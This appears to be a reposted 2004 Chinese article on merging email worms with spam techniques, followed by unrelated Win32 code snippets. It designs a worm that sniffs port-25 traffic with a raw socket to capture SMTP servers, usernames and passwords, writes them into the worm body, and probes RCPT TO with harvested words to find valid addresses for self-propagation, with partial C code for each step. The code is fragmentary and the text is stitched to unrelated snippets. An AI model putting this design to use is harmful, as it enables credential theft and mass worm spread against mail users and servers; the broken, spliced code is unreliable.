邮件蠕虫与垃圾邮件技术的融合

邮件蠕虫与垃圾邮件技术的融合

 

作者:pkxp/CVC

日期:2004-03-05

 

背景

 

    病毒,DDOS,垃圾邮件已经成为当今网络安全的三大技术难题。反垃圾邮件之所以如此困难,是因为(E)SMTP协议本身的缺陷。正如DDOS,是利用TCP/IP协议固有的缺陷一样。需要说明的是,邮件蠕虫为了传播自身而发送的邮件,也属于垃圾邮件的一种。

    2003年出现的Sobig蠕虫使垃圾邮件的数量大为增加,许多安全专家认为Sobig使用了垃圾邮件技术并预言:蠕虫技术和垃圾邮件技术的融合将是未来的发展趋势。其实,这种说法虽然正确但不准确,不错,Sobig发送的邮件确实属于垃圾邮件,可是I LOVE YOUHappyTime病毒发送的邮件又何尝不是?只不过Sobig发送两份相同邮件的频率高,所以截获的传播数量才特别大,但真正的感染数量并不大,Sobig在技术上并未采用垃圾邮件技术。

    本文将在分析邮件蠕虫和垃圾邮件关键技术的基础上,提出利用垃圾邮件技术传播蠕虫的思想。当然,这并不是为了传播蠕虫,而是为了更好的预防未来可能出现的这类蠕虫。本文假设读者已经具备了(E)SMTP协议,蠕虫,垃圾邮件方面的知识。

 

邮件蠕虫的局限与解决方法

 

邮件蠕虫面临的3个主要问题:一是邮件地址搜集,二是服务器地址来源,三是如何使附件尽可能多地获得执行机会。本文只讨论前两点:

 

. 邮件地址搜集

 

现在流行并被广被使用的搜集方式有两种:

 

wab文件获得

 

regedit获得wab文件路径,然后分析已知格式的wab文件,读取其中的地址。

 

*.ht*.htm*.html*.txt*.dbx*.eml等文件获得

 

可以遍历Internet临时目录或遍历硬盘,从上述扩展名的文件中寻找地址。方法和垃

圾邮件搜索html页面类似,都是寻找mailto@,作为合法email地址的标志。

第一种方法收集到的地址可信度比较高,点击率也会比较高;第二种方法如果地址选择算法严谨,那么找到的地址基本上都是合法的Email地址,但可信度较低。两种方法搜集到的地址数量都相当有限,成为蠕虫传播的制约条件之一。后文将会提到解决方案。

 

.邮件服务器地址和帐号密码的来源

 

    当前,几乎所有蠕虫都把一个或几个服务器的ip地址硬编码在文件体内,这样,一旦

邮件服务器不可用,蠕虫也就停止了传播,而且,由于网络安全策略的限制,许多感染蠕虫的主机都无法和这些指定的服务器连接,从而影响了蠕虫的传播速度。这里提出一种新的方法来获得大量可靠的SMTP Server,帐户,密码信息。

    Win2K平台上,我们可以利用WinSock 2的特性,它允许程序使用WSAIoctl( )给一

SOCK_RAW类型的socket设置SIO_RCVALL属性,这样该socket就可以收到所有经过本机的数据,这是一种无需编写驱动的简易Sniffer

    许多聪明的读者已经想到下一步的工作了,是的,利用原始套接字捕包,原则如下:

 

目的端口等于25

SYN包开始记录,这是客户端和SMTP Server正在连接。

根据HELOEHLO来判断服务器是否需要认证。

如果是EHLO,捕获后续的用户名和密码

根据MAIL FROM: 得到发件人

抛弃蠕虫自身向25端口发送的报文。

如果捕获的数据发生错误的次数超过上限,抛弃当前的服务器,恢复到初始状态

 

为方便起见,可以定义SMTPSERVINFO结构体来保存服务器信息。

 

typedef struct tagSmtpServerInfo {

    DWORD      dwCredit;         //此服务器信息的可信度,根据发信成败增减

    BOOL       bAuth;            //服务器是否需要认证

    in_addr    dwServerIP;       //邮件服务器的IP

    char       szUserName[32];   //用户名

    char       szPassWord[32];   //口令

    char       szMailFrom[32];   //发件人

} SMTPSERVINFO;

 

下面的CaptureThread函数是捕包线程,工作方式和原则如上所述,为了节约篇幅,将初始化和判断成功的代码省略。

 

DWORD WINAPI CaptureThread ( LPVOID p )

{

      WSAIoctl(CaptureSocket, SIO_RCVALL, &lpvBuffer, , NULL); //设置为捕获所有报文

      while( TRUE )

      {

        memset( buf , 0 , sizeof(buf) ) ;

        iRet = recv( CaptureSocket , buf , sizeof( buf ) , 0 ) ;

        pIpHeader = (IPHEADER *)buf ;

     if(IsExistIP(pIpHeader->destIP) || pIpHeader->dPort!=::htons(25)) //不是蠕虫自身所发

continue;

        if((pIpHeader->th_flag & SYN) == SYN)     //是和服务器开始握手吗?

        {

            bNewUser = TRUE;                  //又有新用户发信了,开始记录 :-)

            iStatus=0;

            dwFailCount=0;

        }

        if(bNewUser==FALSE)

            continue;

        pBuf= (char *)buf + sizeof(IPHEADER)+sizeof(TCPHEADER);

        switch(iStatus)

        {

            case 0:                                    //握手状态

            {

                m_pSmtpServInfo = new SMTPSERVINFO;

                m_pSmtpServInfo->dwCredit=3;        //初始可信度为3

                 m_pSmtpServInfo->dwServerIP.S_un.S_addr =pIpHeader->destIP; //获得了ip

                 iStatus++;

                break;

            }

            case 1:

            {

                if(::strstr(pBuf,"HELO"))    //匿名smtp server

                {

                    m_pSmtpServInfo->bAuth=FALSE;

                   m_pSmtpServInfo->szUserName[0]=NULL;

                    m_pSmtpServInfo->szPassWord[0]=NULL;

                    iStatus=5;                                //2(user),3(pass)跳过了

                }

                if(::strstr(pBuf,"EHLO"))                    //服务器需要认证

                {

                    m_pSmtpServInfo->bAuth=TRUE;

                     iStatus=2;                            //准备捕捉用户名和密码

                }

                break;

            }

            case 2:                                       //开始收藏帐户和密码

            {

                if(::strstr(pBuf,"AUTH"))

iStatus=3;

                    break;

}

case 3:

{

            lstrcpyn(m_pSmtpServInfo->szUserName,pBuf,::strstr(pBuf,"/r/n")-pBuf+1);

                 iStatus=4;

                break;

    }

case 4:

    {                               ::lstrcpyn(m_pSmtpServInfo->szPassWord,pBuf,::strstr(pBuf,"/r/n")-pBuf+1);                    iStatus=5;

            break;

    }

    case 5:

             {

    

                ::lstrcpyn(m_pSmtpServInfo->szMailFrom,);

                PostThreadMessage(::gMainThread,, m_pSmtpServInfo);  //通知主线程

       bNewUser=FALSE;                //不必再捕捉25包了,除非有新的握手信息

iStatus=0;                        //恢复为初始状态。

   

 

    主线程负责将此服务器信息写入病毒体,并对病毒体重新编码,使得再次发送的附件包含最新信息;同时,主线程还会启动一个新的邮件地址探测线程,连接此服务器,获得尽量多的此服务器的帐户并向其发送自身。如何获得帐户将在下文说明。

    至此,我们完成了邮件服务器和帐户信息的获取工作,蠕虫每到一处,都会搜集最新的服务器信息,搜集到的信息基本都是网络可达的,因为涉及的到服务器数量极多,范围极广,所以封杀服务器或者帐户是不可能的,这些都是Sniffer捕包获得服务器的优势所在。

 

垃圾邮件的关键技术

 

垃圾邮件的详细技术不在本文讨论范围之内,但为了说明问题,必须要有简要的说明,一般来说,垃圾邮件必须解决的两个问题是:

 

1.发送方式的选择:

 

利用SMTP 协议无须认证的缺点

 

利用Open Relay (开放转发)

Open Relay是指由于邮件服务器不理会邮件发送者或邮件接受者的是否为系统所设定的用户,而对所有的入站邮件一律进行转发(Relay)的功能。

 

特快专递法

特快专递就是利用本机充当发件服务器的功能,由DNS解析出收件服务器的IP地址,然后将本机直接与收件服务器的相连,将邮件直接发送到收件人的收件服务器上。Foxmail"特快专递"就是这个原理。现在,特快专递已经逐渐失效,安全级别高的Smtp Server不允许非Smtp Server直接发送,避免被Spammer利用。

 

自建SMTP服务器

Spammer自己建立SMTP服务器,直接和目标服务器连接,发送邮件。这种情况不需要匿名服务器和转发服务器的帮助。目标服务器没有理由拒绝来自一台邮件服务器的请求,所以原理上总能保证发信成功,缺点是必须申请域名,且必须频繁更换ip和域名,因为很快会被列入黑名单。

 

    由上可见,垃圾邮件的发送技术不适合蠕虫使用,原因是利用上面的方法,Spammer只要找到一个SMTP Server就可以发送数以百万计的邮件了,一个地址失效后可以人为地更换,而蠕虫则不同,必须自力更生,如上所述的Sniffer就是解决途径。

2.邮件地址的获得

 

VRFY指令

该指令的作用是验证一个用户是否是本地用户:是,则返回完整的地址;否,则根据SMTP的设置回应。Spammer利用这个命令配合字典穷举用户名来收集有效的邮件地址。在新版本的SMTP软件中,这个指令已被禁用,但未取消。

 

EXPN指令

该指令用来向服务器查询邮件列表,成功则返回列表,每行一个地址。此指令在新版本的SMTP软件中也被禁用。

 

分析网页

Spammer通过搜索引擎如GoogleYahoo等,获得url,将网页下载到本地后,通过匹配关键字"mail to:""@"来收集地址。这种方法应用很广泛,因为有效并且上面两种方法已不可用。但是现在已经有应对措施,比如用<at>代替@

 

虚拟发信法

Spammer通过正规的步骤连接Smtp Server,然后发送HELO(EHLO)MAIL FROM成功后,再发送Rcpt To : <str>,如果得到正确的回应,则收录str,做为合法的邮件地址,然后读取下一个str,再次做Rcpt to尝试,直到发生错误或遍历了所有字符串为止。这种方法的优点在于,在Rcpt  to之前发送的命令都是合理的,所有SMTP服务器都不能拒绝 Rcpt To,正如所有Web Server都不能拒绝SYN包一样。

 

关键就在于此了,前面提到邮件蠕虫搜集地址数量的局限,我们可以采用虚拟发信法

来解决。形象地描述如下:

 

客户:   Connect(Smtp Server)

服务器:220 smtp.263.net ESMTP ,连接成功

客户:HELO localhost                   EHLO localhost

服务器:250-smtp.263.net

                250-PIPELINING

 

      250-AUTH LOGIN

客户:AUTH  LOGIN/r/n

服务器:334

客户:用户名的base64编码

服务器回送:334

客户:密码的base64编码

服务器:235 Authentication successful

客户: MAIL FROM: <username@263.net>/r/n

服务器:250 Ok

客户: RCPT TO: <str>/r/n

服务器回送:

?    250 str为合法帐户。

?    550 invalid user

?    522 too many rcpto

客户:DATA/r/n

 

    前文已经实现了用Sniffer方法获得邮件服务器和帐户信息,并由bAuth字段标志是否需要认证,现在就可以利用SMTPSERVINFO来连接服务器,探测合法帐户了。还有一个问题,就是str的来源,我们选择从本地文件获得的方法,原则如下:

 

遍历硬盘,搜索以txtht*docemlini等为扩展名的文件。

找到一个word,加入 m_WordList列表。

按照合法邮件地址的规则,找到一个email,加入m_EmailList列表,发送邮件线程会直接读取m_EmailList列表并发送邮件。

邮件地址探测线程(EmailSpamer)读取m_WordList列表,验证是否为合法帐户,是则加入到m_EmailLsit

m_Wordlistm_EmailList都要保持一定的数量且记录互斥,以减小向同一E-Mail地址发送多次邮件的可能性。

 

现在获得了大量的str,可以根据(E)SMTP协议探测了,探测线程EmailSpamer如下:

 

while(TRUE)

{

       m_Smtp.TalkWithSmtpServer();

    do

    {

        int iRet = m_Smtp.SendRcptTo(szRcptTo);  //szRcptTo来自m_WordList

        if(iRet==250)                 //代表成功,确实有这个帐户

           ::m_EMailList->Add(szRcptTo);

           else if(iRet==550)             //帐户错误,休眠一会,避免被封

             Sleep(100);

        else                         //错误,断开连接,重新探测

            break;

}while(::m_WordList->GetCount());

 

至此,我们的思路已经十分清晰:

 

    蠕虫运行后,首先启动文件遍历线程,从文件中获得大量的单词,加入m_WordList,同时把从文件中获得的邮件地址加入 m_EmailList。地址探测线程先利用病毒体内已有的服务器信息开始探测,单词取自m_WordList,对于验证成功的word,将此word+服务器域名构成word@xxx.yyy的形式后加入m_EmailList。发送邮件线程不断读取 m_EmailList发送邮件。监听线程捕获并分析网络报文,补充新的服务器资源,并写入病毒体。这样,源源不断的邮件地址就会应接不暇,蠕虫得以大面积扩散。

    需要说明的是,大的邮件服务提供商通常有好的anti-spam特性,如果rcpt to错误次数达到一个上限,那么此帐户就会被停用一段时间。但是,规模越大,注册的帐户也就越多,随机找个单词,基本上都是合法帐户。对于小型的邮件服务提供者,安全性很差,对rcpt to次数根本没有限制。归根结底,不管被封与否,在此之前都已经发现了数目可观的邮件地址,并向这些地址发送了蠕虫。

 

结束语

 

    网络安全的问题只有当所有的计算机用户都成为安全专家时才有可能得到彻底解决,事实上,这是不可能的,而且我们也不能依赖或等待全民计算机水平的提高。目前可以做的,并且各国一直在努力做的,就是加快反垃圾邮件的立法和规范邮件提供商的服务。中国反垃圾邮件协会今年采取了一系列有力措施,包括两次公布垃圾邮件服务器黑名单,制定邮件服务规范,推动垃圾邮件立法等,这些虽不能完全遏制融合垃圾邮件技术的蠕虫,但具有一定的制约效

//用中文解释GetLastError返回的错误代码:

#include <stdio.h>

inline void __fastcall GetError(long iErr)

{

    LPVOID lpMsgBuf;

    int Result;

    char* cMsg;

    if(iErr==-1)

    {

      iErr = GetLastError();

    }

    Result = FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER|

                           FORMAT_MESSAGE_FROM_SYSTEM|

                           FORMAT_MESSAGE_IGNORE_INSERTS,

                           NULL,

                           iErr, //此处iErr参数可以换成GetLastError()

                           MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), //使用默认语言。

                           (LPTSTR)&lpMsgBuf,

                           0,

                           NULL);

    if(!Result) return;

    //错误的内容放在lpMsgBuf中,这是一个void*指针。要用(char*)强制转换后才能显示。

    Result = strlen((char*)lpMsgBuf);

    cMsg = new char[Result+50]; //更新缓冲区的大小。

    sprintf(cMsg, "Error Code: %d  /r/n", iErr);

    strcat(cMsg, (char*)lpMsgBuf);

    MessageBox( NULL, cMsg, "Error", MB_OK | MB_ICONINFORMATION );

    //Edit1 -> Text = cMsg;   

    //MessageBox( NULL, (LPCTSTR)lpMsgBuf, "Error", MB_OK | MB_ICONINFORMATION );

    //Edit1 -> Text = (char*)lpMsgBuf;

    delete[] cMsg;   

    LocalFree( lpMsgBuf ); //清空缓冲区。

}

UnicodeANSI字符串的转换

 

前面两个是输入字符串和它的长度(用 strlen/wcslen 获得),

后面两个是输出字符串,和它的缓冲区大小。

返回值是成功转换的字符个数。

 

如果输出字符串的缓冲区大小为 0,则返回需要的输出字符串缓冲区大小。

 

如果返回值是0,则表示出错(很可能是输出字符串缓冲区太小),

可以用 GetLastError() 获得进一步错误信息。

 

#include <winnls.h> //如果需要的话

//---------------------------------------------------------------------------

inline int Unicode2Ansi(wchar_t* wStr, int wcs, char* cStr, int mbs)

{

    if(mbs == 0) wcs = -1;

    int i = WideCharToMultiByte(CP_ACP, WC_COMPOSITECHECK, wStr, wcs, cStr, mbs, NULL, NULL);

    if(mbs != 0) cStr[i] = 0x00;

 

    return i;

}

//---------------------------------------------------------------------------

inline int Ansi2Unicode(char* cStr, int mbs, wchar_t* wStr, int wcs)

{

    if(wcs == 0) mbs = -1;

    int i = MultiByteToWideChar(CP_ACP, MB_PRECOMPOSED, cStr, mbs, wStr, wcs);

    if(wcs != 0) wStr[i] = 0x0000;

 

    return i;

}

//---------------------------------------------------------------------------

//获得所有的用户名、所有的以登录用户名、所有的组名。

void __fastcall GetAllUserName(TObject *Sender)

{

    LPUSER_INFO_0 pBuf = NULL;

    LPUSER_INFO_0 pTmpBuf;

    DWORD dwEntriesRead = 0;

    DWORD dwTotalEntries = 0;

    NET_API_STATUS nStatus;

 

    do

    {

      //获得所有的用户名

      nStatus = NetUserEnum(NULL, 0, FILTER_NORMAL_ACCOUNT,

                            (LPBYTE*)&pBuf, MAX_PREFERRED_LENGTH,

                            &dwEntriesRead, &dwTotalEntries, NULL);

      /*//获得所有的组名

      nStatus = NetLocalGroupEnum(NULL, 0, (LPBYTE*)&pBuf, MAX_PREFERRED_LENGTH,

                            &dwEntriesRead, &dwTotalEntries, NULL);

      */

      /* //获得所有的已登录的用户名

      nStatus = NetWkstaUserEnum(NULL, 0, (LPBYTE*)&pBuf, MAX_PREFERRED_LENGTH,

                            &dwEntriesRead, &dwTotalEntries, NULL);

      */

      if((nStatus==NERR_Success)||(nStatus==ERROR_MORE_DATA))

      {

        if(pBuf != NULL)

        {

          pTmpBuf = pBuf;

          for(int i=0; i<dwEntriesRead; i++)

          {

            ListBox1 -> Items -> Add(pTmpBuf->usri0_name);//pTmpBuf->usri0_name就是用户名。

            pTmpBuf++;

          }

        }

      }

      if(pBuf != NULL)

      {

        NetApiBufferFree(pBuf);

        pBuf = NULL;

      }

    }while(nStatus == ERROR_MORE_DATA);

 

    if(pBuf != NULL)

    {

      NetApiBufferFree(pBuf);

    }

 

}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值